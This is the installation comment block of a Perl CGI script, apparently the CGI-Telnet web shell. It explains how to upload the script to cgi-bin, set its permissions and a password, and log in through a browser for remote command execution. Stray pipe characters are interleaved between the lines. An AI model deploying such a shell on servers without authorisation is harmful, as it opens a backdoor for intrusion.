# Installation
|
|||
|
|
#------------------------------------------------------------------------------
|
|||
|
|
# To install this script
|
|||
|
|
#
|
|||
|
|
# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
|
|||
|
|
# your server. For most servers, you may not need to modify this.
|
|||
|
|
# 2. Change the password in the Configuration section below.
|
|||
|
|
# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
|
|||
|
|
# Configuration Section below.
|
|||
|
|
# 4. Upload the script to a directory on your server which has permissions to
|
|||
|
|
# execute CGI scripts. This is usually cgi-bin. Make sure that you upload
|
|||
|
|
# the script in ASCII mode.
|
|||
|
|
# 5. Change the permission (CHMOD) of the script to 755.
|
|||
|
|
# 6. Open the script in your web browser. If you uploaded the script in
|
|||
|
|
# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
|
|||
|
|
# 7. Login using the password that you specified in Step 2.
